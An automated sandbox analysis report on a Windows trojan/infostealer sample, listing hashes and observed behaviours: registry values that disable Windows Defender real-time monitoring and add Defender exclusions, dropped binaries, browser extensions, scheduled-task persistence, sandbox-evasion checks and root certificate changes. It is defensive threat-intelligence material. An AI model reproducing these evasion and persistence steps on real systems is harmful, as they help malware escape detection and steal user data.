4b2092fe1089eab533baaf210a0baecbc4149e6d5fc2839e8883ea4ec0dffe6e

Analysis

max time kernel
152s
max time network
154s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
07/10/2022, 01:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 7.3MB
Sample221007-bc75rsbdfr
SHA256 4b2092fe1089eab533baaf210a0baecbc4149e6d5fc2839e8883ea4ec0dffe6e
MD5 fa6852dd4993d34f6079660637b6d2e4
SHA1 586ca7be51b9e0a244712b09fbe4fe8912364ff0
SHA512 3ec2a919d3ff7edb167b696ebc8630c3fb3d2fcf6ede93860a7aa71d7396c8c779b912fb6709afd478c45bd08178379b7360a091b0ca43098459925a555ad2d7
SSDEEP 196608:91OLOOnuXqGDNm+MWKzkf0pY1h7pE0WWlTkXnk4b8nlFyJ:3OLpnu58+DKzkMSvFE0WWlonpb8lFA
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VyejTHXZDswSKCkodlR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WUQzEHOimFfJbvVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\PFmWviqWHYwU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\yUSqPVaaVaTonAKz = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DGkdqERBU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DGkdqERBU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\PFmWviqWHYwU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\RrGfQtYPiwOkePUDv = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\yUSqPVaaVaTonAKz = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\yUSqPVaaVaTonAKz = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\yUSqPVaaVaTonAKz = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VyejTHXZDswSKCkodlR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\mClEBLvlRMFiC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\mClEBLvlRMFiC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WUQzEHOimFfJbvVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CGnJgFCBAzUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CGnJgFCBAzUn = "0"	reg.exe

Executes dropped EXE 4 IoCs

pid	Process
1956	Install.exe
1720	Install.exe
536	khzMlYN.exe
1116	Tvzuiyh.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Loads dropped DLL 8 IoCs

pid	Process
2000	file.exe
1956	Install.exe
1956	Install.exe
1956	Install.exe
1956	Install.exe
1720	Install.exe
1720	Install.exe
1720	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	Tvzuiyh.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	Tvzuiyh.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	Tvzuiyh.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	Tvzuiyh.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	Tvzuiyh.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	Tvzuiyh.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	khzMlYN.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_D4DDF242A8972F898C0FE0D6EA6919E3	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_1ACD2B4A039DF3260017F7BF28EE7323	Tvzuiyh.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_CD6513E45B8AAEA8DF3E8B0C926693B8	Tvzuiyh.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	khzMlYN.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	khzMlYN.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	Tvzuiyh.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	Tvzuiyh.exe
File created	C:\Program Files (x86)\DGkdqERBU\MLkuaDM.xml	Tvzuiyh.exe
File created	C:\Program Files (x86)\PFmWviqWHYwU2\wMUBjHs.xml	Tvzuiyh.exe
File created	C:\Program Files (x86)\VyejTHXZDswSKCkodlR\VCCOSrs.xml	Tvzuiyh.exe
File created	C:\Program Files (x86)\mClEBLvlRMFiC\zoBooWP.dll	Tvzuiyh.exe
File created	C:\Program Files (x86)\mClEBLvlRMFiC\MdnItff.xml	Tvzuiyh.exe
File created	C:\Program Files (x86)\DGkdqERBU\eTNyKq.dll	Tvzuiyh.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	Tvzuiyh.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	Tvzuiyh.exe
File created	C:\Program Files (x86)\PFmWviqWHYwU2\feBTENmyHKZqi.dll	Tvzuiyh.exe
File created	C:\Program Files (x86)\VyejTHXZDswSKCkodlR\JNxOCYV.dll	Tvzuiyh.exe
File created	C:\Program Files (x86)\CGnJgFCBAzUn\pobCSMZ.dll	Tvzuiyh.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bWfTenrnZRhiBbesVI.job	schtasks.exe
File created	C:\Windows\Tasks\jCymsroQFbYeGMouD.job	schtasks.exe
File created	C:\Windows\Tasks\PPsmXAxsGZAbEXH.job	schtasks.exe
File created	C:\Windows\Tasks\vuBtYGxUFUjHFzcbJ.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1988	schtasks.exe
1568	schtasks.exe
1496	schtasks.exe
340	schtasks.exe
800	schtasks.exe
1928	schtasks.exe
1552	schtasks.exe
872	schtasks.exe
1508	schtasks.exe
1096	schtasks.exe
1304	schtasks.exe
556	schtasks.exe
1008	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ce-8f-0e-83-41-a4\WpadDecisionReason = "1"	Tvzuiyh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ce-8f-0e-83-41-a4\WpadDecision = "0"	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	Tvzuiyh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	Tvzuiyh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FAF0CD48-6074-4932-8B8A-7B76327B867C}	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FAF0CD48-6074-4932-8B8A-7B76327B867C}\ce-8f-0e-83-41-a4	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	Tvzuiyh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	Tvzuiyh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Tvzuiyh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	Tvzuiyh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FAF0CD48-6074-4932-8B8A-7B76327B867C}\WpadNetworkName = "Network 2"	Tvzuiyh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ce-8f-0e-83-41-a4\WpadDecisionTime = 20a56d56f9d9d801	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	Tvzuiyh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FAF0CD48-6074-4932-8B8A-7B76327B867C}\WpadDecision = "0"	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	Tvzuiyh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FAF0CD48-6074-4932-8B8A-7B76327B867C}\WpadDecisionReason = "1"	Tvzuiyh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Tvzuiyh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FAF0CD48-6074-4932-8B8A-7B76327B867C}\WpadDecisionTime = 20a56d56f9d9d801	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ce-8f-0e-83-41-a4	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	Tvzuiyh.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	Tvzuiyh.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Tvzuiyh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Tvzuiyh.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1676	powershell.EXE
1676	powershell.EXE
1676	powershell.EXE
436	powershell.EXE
436	powershell.EXE
436	powershell.EXE
832	powershell.EXE
832	powershell.EXE
832	powershell.EXE
908	powershell.EXE
908	powershell.EXE
908	powershell.EXE
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe
1116	Tvzuiyh.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	powershell.EXE
Token: SeDebugPrivilege	436	powershell.EXE
Token: SeDebugPrivilege	832	powershell.EXE
Token: SeDebugPrivilege	908	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
